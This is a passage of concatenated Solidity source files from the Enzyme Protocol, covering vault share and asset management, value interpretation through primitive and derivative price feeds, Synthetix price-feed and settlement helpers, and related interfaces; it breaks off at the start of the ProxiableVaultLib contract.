/// @notice Grants an allowance to a spender to use the fund's asset
/// @param _asset The asset for which to grant an allowance
/// @param _target The spender of the allowance
/// @param _amount The amount of the allowance
function approveAssetSpender(
address _asset,
address _target,
uint256 _amount
) external override onlyAccessor {
ERC20(_asset).approve(_target, _amount);
}
/// @notice Makes an arbitrary call with this contract as the sender
/// @param _contract The contract to call
/// @param _callData The call data for the call
function callOnContract(address _contract, bytes calldata _callData)
external
override
onlyAccessor
{
(bool success, bytes memory returnData) = _contract.call(_callData);
require(success, string(returnData));
}
/// @notice Removes a tracked asset from the fund
/// @param _asset The asset to remove
function removeTrackedAsset(address _asset) external override onlyAccessor {
__removeTrackedAsset(_asset);
}
/// @notice Withdraws an asset from the VaultProxy to a given account
/// @param _asset The asset to withdraw
/// @param _target The account to which to withdraw the asset
/// @param _amount The amount of asset to withdraw
function withdrawAssetTo(
address _asset,
address _target,
uint256 _amount
) external override onlyAccessor {
ERC20(_asset).safeTransfer(_target, _amount);
emit AssetWithdrawn(_asset, _target, _amount);
}
/// @dev Helper to the get the Vault's balance of a given asset
function __getAssetBalance(address _asset) private view returns (uint256 balance_) {
return ERC20(_asset).balanceOf(address(this));
}
/// @dev Helper to remove an asset from a fund's tracked assets.
/// Allows removal of non-tracked asset to fail silently.
function __removeTrackedAsset(address _asset) private {
if (isTrackedAsset(_asset)) {
assetToIsTracked[_asset] = false;
uint256 trackedAssetsCount = trackedAssets.length;
for (uint256 i = 0; i < trackedAssetsCount; i++) {
if (trackedAssets[i] == _asset) {
if (i < trackedAssetsCount - 1) {
trackedAssets[i] = trackedAssets[trackedAssetsCount - 1];
}
trackedAssets.pop();
break;
}
}
emit TrackedAssetRemoved(_asset);
}
}
////////////
// SHARES //
////////////
/// @notice Burns fund shares from a particular account
/// @param _target The account for which to burn shares
/// @param _amount The amount of shares to burn
function burnShares(address _target, uint256 _amount) external override onlyAccessor {
__burn(_target, _amount);
}
/// @notice Mints fund shares to a particular account
/// @param _target The account for which to burn shares
/// @param _amount The amount of shares to mint
function mintShares(address _target, uint256 _amount) external override onlyAccessor {
__mint(_target, _amount);
}
/// @notice Transfers fund shares from one account to another
/// @param _from The account from which to transfer shares
/// @param _to The account to which to transfer shares
/// @param _amount The amount of shares to transfer
function transferShares(
address _from,
address _to,
uint256 _amount
) external override onlyAccessor {
__transfer(_from, _to, _amount);
}
// ERC20 overrides
/// @dev Disallows the standard ERC20 approve() function
function approve(address, uint256) public override returns (bool) {
revert("Unimplemented");
}
/// @notice Gets the `symbol` value of the shares token
/// @return symbol_ The `symbol` value
/// @dev Defers the shares symbol value to the Dispatcher contract
function symbol() public view override returns (string memory symbol_) {
return IDispatcher(creator).getSharesTokenSymbol();
}
/// @dev Disallows the standard ERC20 transfer() function
function transfer(address, uint256) public override returns (bool) {
revert("Unimplemented");
}
/// @dev Disallows the standard ERC20 transferFrom() function
function transferFrom(
address,
address,
uint256
) public override returns (bool) {
revert("Unimplemented");
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `accessor` variable
/// @return accessor_ The `accessor` variable value
function getAccessor() external view override returns (address accessor_) {
return accessor;
}
/// @notice Gets the `creator` variable
/// @return creator_ The `creator` variable value
function getCreator() external view returns (address creator_) {
return creator;
}
/// @notice Gets the `migrator` variable
/// @return migrator_ The `migrator` variable value
function getMigrator() external view returns (address migrator_) {
return migrator;
}
/// @notice Gets the `owner` variable
/// @return owner_ The `owner` variable value
function getOwner() external view override returns (address owner_) {
return owner;
}
/// @notice Gets the `trackedAssets` variable
/// @return trackedAssets_ The `trackedAssets` variable value
function getTrackedAssets() external view override returns (address[] memory trackedAssets_) {
return trackedAssets;
}
/// @notice Check whether an address is a tracked asset of the fund
/// @param _asset The address to check
/// @return isTrackedAsset_ True if the address is a tracked asset of the fund
function isTrackedAsset(address _asset) public view override returns (bool isTrackedAsset_) {
return assetToIsTracked[_asset];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../price-feeds/derivatives/IAggregatedDerivativePriceFeed.sol";
import "../price-feeds/derivatives/IDerivativePriceFeed.sol";
import "../price-feeds/primitives/IPrimitivePriceFeed.sol";
import "./IValueInterpreter.sol";
/// @title ValueInterpreter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Interprets price feeds to provide covert value between asset pairs
/// @dev This contract contains several "live" value calculations, which for this release are simply
/// aliases to their "canonical" value counterparts since the only primitive price feed (Chainlink)
/// is immutable in this contract and only has one type of value. Including the "live" versions of
/// functions only serves as a placeholder for infrastructural components and plugins (e.g., policies)
/// to explicitly define the types of values that they should (and will) be using in a future release.
contract ValueInterpreter is IValueInterpreter {
using SafeMath for uint256;
address private immutable AGGREGATED_DERIVATIVE_PRICE_FEED;
address private immutable PRIMITIVE_PRICE_FEED;
constructor(address _primitivePriceFeed, address _aggregatedDerivativePriceFeed) public {
AGGREGATED_DERIVATIVE_PRICE_FEED = _aggregatedDerivativePriceFeed;
PRIMITIVE_PRICE_FEED = _primitivePriceFeed;
}
// EXTERNAL FUNCTIONS
/// @notice An alias of calcCanonicalAssetsTotalValue
function calcLiveAssetsTotalValue(
address[] calldata _baseAssets,
uint256[] calldata _amounts,
address _quoteAsset
) external override returns (uint256 value_, bool isValid_) {
return calcCanonicalAssetsTotalValue(_baseAssets, _amounts, _quoteAsset);
}
/// @notice An alias of calcCanonicalAssetValue
function calcLiveAssetValue(
address _baseAsset,
uint256 _amount,
address _quoteAsset
) external override returns (uint256 value_, bool isValid_) {
return calcCanonicalAssetValue(_baseAsset, _amount, _quoteAsset);
}
// PUBLIC FUNCTIONS
/// @notice Calculates the total value of given amounts of assets in a single quote asset
/// @param _baseAssets The assets to convert
/// @param _amounts The amounts of the _baseAssets to convert
/// @param _quoteAsset The asset to which to convert
/// @return value_ The sum value of _baseAssets, denominated in the _quoteAsset
/// @return isValid_ True if the price feed rates used to derive value are all valid
/// @dev Does not alter protocol state,
/// but not a view because calls to price feeds can potentially update third party state
function calcCanonicalAssetsTotalValue(
address[] memory _baseAssets,
uint256[] memory _amounts,
address _quoteAsset
) public override returns (uint256 value_, bool isValid_) {
require(
_baseAssets.length == _amounts.length,
"calcCanonicalAssetsTotalValue: Arrays unequal lengths"
);
require(
IPrimitivePriceFeed(PRIMITIVE_PRICE_FEED).isSupportedAsset(_quoteAsset),
"calcCanonicalAssetsTotalValue: Unsupported _quoteAsset"
);
isValid_ = true;
for (uint256 i; i < _baseAssets.length; i++) {
(uint256 assetValue, bool assetValueIsValid) = __calcAssetValue(
_baseAssets[i],
_amounts[i],
_quoteAsset
);
value_ = value_.add(assetValue);
if (!assetValueIsValid) {
isValid_ = false;
}
}
return (value_, isValid_);
}
/// @notice Calculates the value of a given amount of one asset in terms of another asset
/// @param _baseAsset The asset from which to convert
/// @param _amount The amount of the _baseAsset to convert
/// @param _quoteAsset The asset to which to convert
/// @return value_ The equivalent quantity in the _quoteAsset
/// @return isValid_ True if the price feed rates used to derive value are all valid
/// @dev Does not alter protocol state,
/// but not a view because calls to price feeds can potentially update third party state
function calcCanonicalAssetValue(
address _baseAsset,
uint256 _amount,
address _quoteAsset
) public override returns (uint256 value_, bool isValid_) {
if (_baseAsset == _quoteAsset || _amount == 0) {
return (_amount, true);
}
require(
IPrimitivePriceFeed(PRIMITIVE_PRICE_FEED).isSupportedAsset(_quoteAsset),
"calcCanonicalAssetValue: Unsupported _quoteAsset"
);
return __calcAssetValue(_baseAsset, _amount, _quoteAsset);
}
// PRIVATE FUNCTIONS
/// @dev Helper to differentially calculate an asset value
/// based on if it is a primitive or derivative asset.
function __calcAssetValue(
address _baseAsset,
uint256 _amount,
address _quoteAsset
) private returns (uint256 value_, bool isValid_) {
if (_baseAsset == _quoteAsset || _amount == 0) {
return (_amount, true);
}
// Handle case that asset is a primitive
if (IPrimitivePriceFeed(PRIMITIVE_PRICE_FEED).isSupportedAsset(_baseAsset)) {
return
IPrimitivePriceFeed(PRIMITIVE_PRICE_FEED).calcCanonicalValue(
_baseAsset,
_amount,
_quoteAsset
);
}
// Handle case that asset is a derivative
address derivativePriceFeed = IAggregatedDerivativePriceFeed(
AGGREGATED_DERIVATIVE_PRICE_FEED
)
.getPriceFeedForDerivative(_baseAsset);
if (derivativePriceFeed != address(0)) {
return __calcDerivativeValue(derivativePriceFeed, _baseAsset, _amount, _quoteAsset);
}
revert("__calcAssetValue: Unsupported _baseAsset");
}
/// @dev Helper to calculate the value of a derivative in an arbitrary asset.
/// Handles multiple underlying assets (e.g., Uniswap and Balancer pool tokens).
/// Handles underlying assets that are also derivatives (e.g., a cDAI-ETH LP)
function __calcDerivativeValue(
address _derivativePriceFeed,
address _derivative,
uint256 _amount,
address _quoteAsset
) private returns (uint256 value_, bool isValid_) {
(address[] memory underlyings, uint256[] memory underlyingAmounts) = IDerivativePriceFeed(
_derivativePriceFeed
)
.calcUnderlyingValues(_derivative, _amount);
require(underlyings.length > 0, "__calcDerivativeValue: No underlyings");
require(
underlyings.length == underlyingAmounts.length,
"__calcDerivativeValue: Arrays unequal lengths"
);
// Let validity be negated if any of the underlying value calculations are invalid
isValid_ = true;
for (uint256 i = 0; i < underlyings.length; i++) {
(uint256 underlyingValue, bool underlyingValueIsValid) = __calcAssetValue(
underlyings[i],
underlyingAmounts[i],
_quoteAsset
);
if (!underlyingValueIsValid) {
isValid_ = false;
}
value_ = value_.add(underlyingValue);
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `AGGREGATED_DERIVATIVE_PRICE_FEED` variable
/// @return aggregatedDerivativePriceFeed_ The `AGGREGATED_DERIVATIVE_PRICE_FEED` variable value
function getAggregatedDerivativePriceFeed()
external
view
returns (address aggregatedDerivativePriceFeed_)
{
return AGGREGATED_DERIVATIVE_PRICE_FEED;
}
/// @notice Gets the `PRIMITIVE_PRICE_FEED` variable
/// @return primitivePriceFeed_ The `PRIMITIVE_PRICE_FEED` variable value
function getPrimitivePriceFeed() external view returns (address primitivePriceFeed_) {
return PRIMITIVE_PRICE_FEED;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IDispatcher Interface
/// @author Enzyme Council <[email protected]>
interface IDispatcher {
function cancelMigration(address _vaultProxy, bool _bypassFailure) external;
function claimOwnership() external;
function deployVaultProxy(
address _vaultLib,
address _owner,
address _vaultAccessor,
string calldata _fundName
) external returns (address vaultProxy_);
function executeMigration(address _vaultProxy, bool _bypassFailure) external;
function getCurrentFundDeployer() external view returns (address currentFundDeployer_);
function getFundDeployerForVaultProxy(address _vaultProxy)
external
view
returns (address fundDeployer_);
function getMigrationRequestDetailsForVaultProxy(address _vaultProxy)
external
view
returns (
address nextFundDeployer_,
address nextVaultAccessor_,
address nextVaultLib_,
uint256 executableTimestamp_
);
function getMigrationTimelock() external view returns (uint256 migrationTimelock_);
function getNominatedOwner() external view returns (address nominatedOwner_);
function getOwner() external view returns (address owner_);
function getSharesTokenSymbol() external view returns (string memory sharesTokenSymbol_);
function getTimelockRemainingForMigrationRequest(address _vaultProxy)
external
view
returns (uint256 secondsRemaining_);
function hasExecutableMigrationRequest(address _vaultProxy)
external
view
returns (bool hasExecutableRequest_);
function hasMigrationRequest(address _vaultProxy)
external
view
returns (bool hasMigrationRequest_);
function removeNominatedOwner() external;
function setCurrentFundDeployer(address _nextFundDeployer) external;
function setMigrationTimelock(uint256 _nextTimelock) external;
function setNominatedOwner(address _nextNominatedOwner) external;
function setSharesTokenSymbol(string calldata _nextSymbol) external;
function signalMigration(
address _vaultProxy,
address _nextVaultAccessor,
address _nextVaultLib,
bool _bypassFailure
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
/// @title FeeManager Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for the FeeManager
interface IFeeManager {
// No fees for the current release are implemented post-redeemShares
enum FeeHook {
Continuous,
BuySharesSetup,
PreBuyShares,
PostBuyShares,
BuySharesCompleted,
PreRedeemShares
}
enum SettlementType {None, Direct, Mint, Burn, MintSharesOutstanding, BurnSharesOutstanding}
function invokeHook(
FeeHook,
bytes calldata,
uint256
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IPrimitivePriceFeed Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for primitive price feeds
interface IPrimitivePriceFeed {
function calcCanonicalValue(
address,
uint256,
address
) external view returns (uint256, bool);
function calcLiveValue(
address,
uint256,
address
) external view returns (uint256, bool);
function isSupportedAsset(address) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IValueInterpreter interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for ValueInterpreter
interface IValueInterpreter {
function calcCanonicalAssetValue(
address,
uint256,
address
) external returns (uint256, bool);
function calcCanonicalAssetsTotalValue(
address[] calldata,
uint256[] calldata,
address
) external returns (uint256, bool);
function calcLiveAssetValue(
address,
uint256,
address
) external returns (uint256, bool);
function calcLiveAssetsTotalValue(
address[] calldata,
uint256[] calldata,
address
) external returns (uint256, bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../infrastructure/price-feeds/derivatives/feeds/SynthetixPriceFeed.sol";
import "../interfaces/ISynthetixAddressResolver.sol";
import "../interfaces/ISynthetixExchanger.sol";
/// @title AssetFinalityResolver Contract
/// @author Enzyme Council <[email protected]>
/// @notice A contract that helps achieve asset finality
abstract contract AssetFinalityResolver {
address internal immutable SYNTHETIX_ADDRESS_RESOLVER;
address internal immutable SYNTHETIX_PRICE_FEED;
constructor(address _synthetixPriceFeed, address _synthetixAddressResolver) public {
SYNTHETIX_ADDRESS_RESOLVER = _synthetixAddressResolver;
SYNTHETIX_PRICE_FEED = _synthetixPriceFeed;
}
/// @dev Helper to finalize a Synth balance at a given target address and return its balance
function __finalizeIfSynthAndGetAssetBalance(
address _target,
address _asset,
bool _requireFinality
) internal returns (uint256 assetBalance_) {
bytes32 currencyKey = SynthetixPriceFeed(SYNTHETIX_PRICE_FEED).getCurrencyKeyForSynth(
_asset
);
if (currencyKey != 0) {
address synthetixExchanger = ISynthetixAddressResolver(SYNTHETIX_ADDRESS_RESOLVER)
.requireAndGetAddress(
"Exchanger",
"finalizeAndGetAssetBalance: Missing Exchanger"
);
try ISynthetixExchanger(synthetixExchanger).settle(_target, currencyKey) {} catch {
require(!_requireFinality, "finalizeAndGetAssetBalance: Cannot settle Synth");
}
}
return ERC20(_asset).balanceOf(_target);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `SYNTHETIX_ADDRESS_RESOLVER` variable
/// @return synthetixAddressResolver_ The `SYNTHETIX_ADDRESS_RESOLVER` variable value
function getSynthetixAddressResolver()
external
view
returns (address synthetixAddressResolver_)
{
return SYNTHETIX_ADDRESS_RESOLVER;
}
/// @notice Gets the `SYNTHETIX_PRICE_FEED` variable
/// @return synthetixPriceFeed_ The `SYNTHETIX_PRICE_FEED` variable value
function getSynthetixPriceFeed() external view returns (address synthetixPriceFeed_) {
return SYNTHETIX_PRICE_FEED;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../../interfaces/ISynthetix.sol";
import "../../../../interfaces/ISynthetixAddressResolver.sol";
import "../../../../interfaces/ISynthetixExchangeRates.sol";
import "../../../../interfaces/ISynthetixProxyERC20.sol";
import "../../../../interfaces/ISynthetixSynth.sol";
import "../../../utils/DispatcherOwnerMixin.sol";
import "../IDerivativePriceFeed.sol";
/// @title SynthetixPriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice A price feed that uses Synthetix oracles as price sources
contract SynthetixPriceFeed is IDerivativePriceFeed, DispatcherOwnerMixin {
using SafeMath for uint256;
event SynthAdded(address indexed synth, bytes32 currencyKey);
event SynthCurrencyKeyUpdated(
address indexed synth,
bytes32 prevCurrencyKey,
bytes32 nextCurrencyKey
);
uint256 private constant SYNTH_UNIT = 10**18;
address private immutable ADDRESS_RESOLVER;
address private immutable SUSD;
mapping(address => bytes32) private synthToCurrencyKey;
constructor(
address _dispatcher,
address _addressResolver,
address _sUSD,
address[] memory _synths
) public DispatcherOwnerMixin(_dispatcher) {
ADDRESS_RESOLVER = _addressResolver;
SUSD = _sUSD;
address[] memory sUSDSynths = new address[](1);
sUSDSynths[0] = _sUSD;
__addSynths(sUSDSynths);
__addSynths(_synths);
}
/// @notice Converts a given amount of a derivative to its underlying asset values
/// @param _derivative The derivative to convert
/// @param _derivativeAmount The amount of the derivative to convert
/// @return underlyings_ The underlying assets for the _derivative
/// @return underlyingAmounts_ The amount of each underlying asset for the equivalent derivative amount
function calcUnderlyingValues(address _derivative, uint256 _derivativeAmount)
external
override
returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_)
{
underlyings_ = new address[](1);
underlyings_[0] = SUSD;
underlyingAmounts_ = new uint256[](1);
bytes32 currencyKey = getCurrencyKeyForSynth(_derivative);
require(currencyKey != 0, "calcUnderlyingValues: _derivative is not supported");
address exchangeRates = ISynthetixAddressResolver(ADDRESS_RESOLVER).requireAndGetAddress(
"ExchangeRates",
"calcUnderlyingValues: Missing ExchangeRates"
);
(uint256 rate, bool isInvalid) = ISynthetixExchangeRates(exchangeRates).rateAndInvalid(
currencyKey
);
require(!isInvalid, "calcUnderlyingValues: _derivative rate is not valid");
underlyingAmounts_[0] = _derivativeAmount.mul(rate).div(SYNTH_UNIT);
return (underlyings_, underlyingAmounts_);
}
/// @notice Checks whether an asset is a supported primitive of the price feed
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is a supported primitive
function isSupportedAsset(address _asset) public view override returns (bool isSupported_) {
return getCurrencyKeyForSynth(_asset) != 0;
}
/////////////////////
// SYNTHS REGISTRY //
/////////////////////
/// @notice Adds Synths to the price feed
/// @param _synths Synths to add
function addSynths(address[] calldata _synths) external onlyDispatcherOwner {
require(_synths.length > 0, "addSynths: Empty _synths");
__addSynths(_synths);
}
/// @notice Updates the cached currencyKey value for specified Synths
/// @param _synths Synths to update
/// @dev Anybody can call this function
function updateSynthCurrencyKeys(address[] calldata _synths) external {
require(_synths.length > 0, "updateSynthCurrencyKeys: Empty _synths");
for (uint256 i; i < _synths.length; i++) {
bytes32 prevCurrencyKey = synthToCurrencyKey[_synths[i]];
require(prevCurrencyKey != 0, "updateSynthCurrencyKeys: Synth not set");
bytes32 nextCurrencyKey = __getCurrencyKey(_synths[i]);
require(
nextCurrencyKey != prevCurrencyKey,
"updateSynthCurrencyKeys: Synth has correct currencyKey"
);
synthToCurrencyKey[_synths[i]] = nextCurrencyKey;
emit SynthCurrencyKeyUpdated(_synths[i], prevCurrencyKey, nextCurrencyKey);
}
}
/// @dev Helper to add Synths
function __addSynths(address[] memory _synths) private {
for (uint256 i; i < _synths.length; i++) {
require(synthToCurrencyKey[_synths[i]] == 0, "__addSynths: Value already set");
bytes32 currencyKey = __getCurrencyKey(_synths[i]);
require(currencyKey != 0, "__addSynths: No currencyKey");
synthToCurrencyKey[_synths[i]] = currencyKey;
emit SynthAdded(_synths[i], currencyKey);
}
}
/// @dev Helper to query a currencyKey from Synthetix
function __getCurrencyKey(address _synthProxy) private view returns (bytes32 currencyKey_) {
return ISynthetixSynth(ISynthetixProxyERC20(_synthProxy).target()).currencyKey();
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `ADDRESS_RESOLVER` variable
/// @return addressResolver_ The `ADDRESS_RESOLVER` variable value
function getAddressResolver() external view returns (address) {
return ADDRESS_RESOLVER;
}
/// @notice Gets the currencyKey for multiple given Synths
/// @return currencyKeys_ The currencyKey values
function getCurrencyKeysForSynths(address[] calldata _synths)
external
view
returns (bytes32[] memory currencyKeys_)
{
currencyKeys_ = new bytes32[](_synths.length);
for (uint256 i; i < _synths.length; i++) {
currencyKeys_[i] = synthToCurrencyKey[_synths[i]];
}
return currencyKeys_;
}
/// @notice Gets the `SUSD` variable
/// @return susd_ The `SUSD` variable value
function getSUSD() external view returns (address susd_) {
return SUSD;
}
/// @notice Gets the currencyKey for a given Synth
/// @return currencyKey_ The currencyKey value
function getCurrencyKeyForSynth(address _synth) public view returns (bytes32 currencyKey_) {
return synthToCurrencyKey[_synth];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ISynthetixAddressResolver Interface
/// @author Enzyme Council <[email protected]>
interface ISynthetixAddressResolver {
function requireAndGetAddress(bytes32, string calldata) external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ISynthetixExchanger Interface
/// @author Enzyme Council <[email protected]>
interface ISynthetixExchanger {
function getAmountsForExchange(
uint256,
bytes32,
bytes32
)
external
view
returns (
uint256,
uint256,
uint256
);
function settle(address, bytes32)
external
returns (
uint256,
uint256,
uint256
);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ISynthetix Interface
/// @author Enzyme Council <[email protected]>
interface ISynthetix {
function exchangeOnBehalfWithTracking(
address,
bytes32,
uint256,
bytes32,
address,
bytes32
) external returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ISynthetixExchangeRates Interface
/// @author Enzyme Council <[email protected]>
interface ISynthetixExchangeRates {
function rateAndInvalid(bytes32) external view returns (uint256, bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ISynthetixProxyERC20 Interface
/// @author Enzyme Council <[email protected]>
interface ISynthetixProxyERC20 {
function target() external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ISynthetixSynth Interface
/// @author Enzyme Council <[email protected]>
interface ISynthetixSynth {
function currencyKey() external view returns (bytes32);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../persistent/dispatcher/IDispatcher.sol";
/// @title DispatcherOwnerMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mixin contract that defers ownership to the owner of Dispatcher
abstract contract DispatcherOwnerMixin {
address internal immutable DISPATCHER;
modifier onlyDispatcherOwner() {
require(
msg.sender == getOwner(),
"onlyDispatcherOwner: Only the Dispatcher owner can call this function"
);
_;
}
constructor(address _dispatcher) public {
DISPATCHER = _dispatcher;
}
/// @notice Gets the owner of this contract
/// @return owner_ The owner
/// @dev Ownership is deferred to the owner of the Dispatcher contract
function getOwner() public view returns (address owner_) {
return IDispatcher(DISPATCHER).getOwner();
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `DISPATCHER` variable
/// @return dispatcher_ The `DISPATCHER` variable value
function getDispatcher() external view returns (address dispatcher_) {
return DISPATCHER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IDerivativePriceFeed Interface
/// @author Enzyme Council <[email protected]>
/// @notice Simple interface for derivative price source oracle implementations
interface IDerivativePriceFeed {
function calcUnderlyingValues(address, uint256)
external
returns (address[] memory, uint256[] memory);
function isSupportedAsset(address) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./VaultLibBaseCore.sol";
/// @title VaultLibBase1 Contract
/// @author Enzyme Council <[email protected]>
/// @notice The first implementation of VaultLibBaseCore, with additional events and storage
/// @dev All subsequent implementations should inherit the previous implementation,
/// e.g., `VaultLibBase2 is VaultLibBase1`
/// DO NOT EDIT CONTRACT.
abstract contract VaultLibBase1 is VaultLibBaseCore {
event AssetWithdrawn(address indexed asset, address indexed target, uint256 amount);
event TrackedAssetAdded(address asset);
event TrackedAssetRemoved(address asset);
address[] internal trackedAssets;
mapping(address => bool) internal assetToIsTracked;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../utils/IMigratableVault.sol";
import "./utils/ProxiableVaultLib.sol";
import "./utils/SharesTokenBase.sol";
/// @title VaultLibBaseCore Contract
/// @author Enzyme Council <[email protected]>
/// @notice A persistent contract containing all required storage variables and
/// required functions for a VaultLib implementation
/// @dev DO NOT EDIT CONTRACT. If new events or storage are necessary, they should be added to
/// a numbered VaultLibBaseXXX that inherits the previous base. See VaultLibBase1.
abstract contract VaultLibBaseCore is IMigratableVault, ProxiableVaultLib, SharesTokenBase {
event AccessorSet(address prevAccessor, address nextAccessor);
event MigratorSet(address prevMigrator, address nextMigrator);
event OwnerSet(address prevOwner, address nextOwner);
event VaultLibSet(address prevVaultLib, address nextVaultLib);
address internal accessor;
address internal creator;
address internal migrator;
address internal owner;
// EXTERNAL FUNCTIONS
/// @notice Initializes the VaultProxy with core configuration
/// @param _owner The address to set as the fund owner
/// @param _accessor The address to set as the permissioned accessor of the VaultLib
/// @param _fundName The name of the fund
/// @dev Serves as a per-proxy pseudo-constructor
function init(
address _owner,
address _accessor,
string calldata _fundName
) external override {
require(creator == address(0), "init: Proxy already initialized");
creator = msg.sender;
sharesName = _fundName;
__setAccessor(_accessor);
__setOwner(_owner);
emit VaultLibSet(address(0), getVaultLib());
}
/// @notice Sets the permissioned accessor of the VaultLib
/// @param _nextAccessor The address to set as the permissioned accessor of the VaultLib
function setAccessor(address _nextAccessor) external override {
require(msg.sender == creator, "setAccessor: Only callable by the contract creator");
__setAccessor(_nextAccessor);
}
/// @notice Sets the VaultLib target for the VaultProxy
/// @param _nextVaultLib The address to set as the VaultLib
/// @dev This function is absolutely critical. __updateCodeAddress() validates that the
/// target is a valid Proxiable contract instance.
/// Does not block _nextVaultLib from being the same as the current VaultLib
function setVaultLib(address _nextVaultLib) external override {
require(msg.sender == creator, "setVaultLib: Only callable by the contract creator");
address prevVaultLib = getVaultLib();
__updateCodeAddress(_nextVaultLib);
emit VaultLibSet(prevVaultLib, _nextVaultLib);
}
// PUBLIC FUNCTIONS
/// @notice Checks whether an account is allowed to migrate the VaultProxy
/// @param _who The account to check
/// @return canMigrate_ True if the account is allowed to migrate the VaultProxy
function canMigrate(address _who) public view virtual override returns (bool canMigrate_) {
return _who == owner || _who == migrator;
}
/// @notice Gets the VaultLib target for the VaultProxy
/// @return vaultLib_ The address of the VaultLib target
function getVaultLib() public view returns (address vaultLib_) {
assembly {
// solium-disable-line
vaultLib_ := sload(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc)
}
return vaultLib_;
}
// INTERNAL FUNCTIONS
/// @dev Helper to set the permissioned accessor of the VaultProxy.
/// Does not prevent the prevAccessor from being the _nextAccessor.
function __setAccessor(address _nextAccessor) internal {
require(_nextAccessor != address(0), "__setAccessor: _nextAccessor cannot be empty");
address prevAccessor = accessor;
accessor = _nextAccessor;
emit AccessorSet(prevAccessor, _nextAccessor);
}
/// @dev Helper to set the owner of the VaultProxy
function __setOwner(address _nextOwner) internal {
require(_nextOwner != address(0), "__setOwner: _nextOwner cannot be empty");
address prevOwner = owner;
require(_nextOwner != prevOwner, "__setOwner: _nextOwner is the current owner");
owner = _nextOwner;
emit OwnerSet(prevOwner, _nextOwner);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ProxiableVaultLib Contract
/// @author Enzyme Council <[email protected]>
/// @notice A contract that defines the upgrade behavior for VaultLib instances
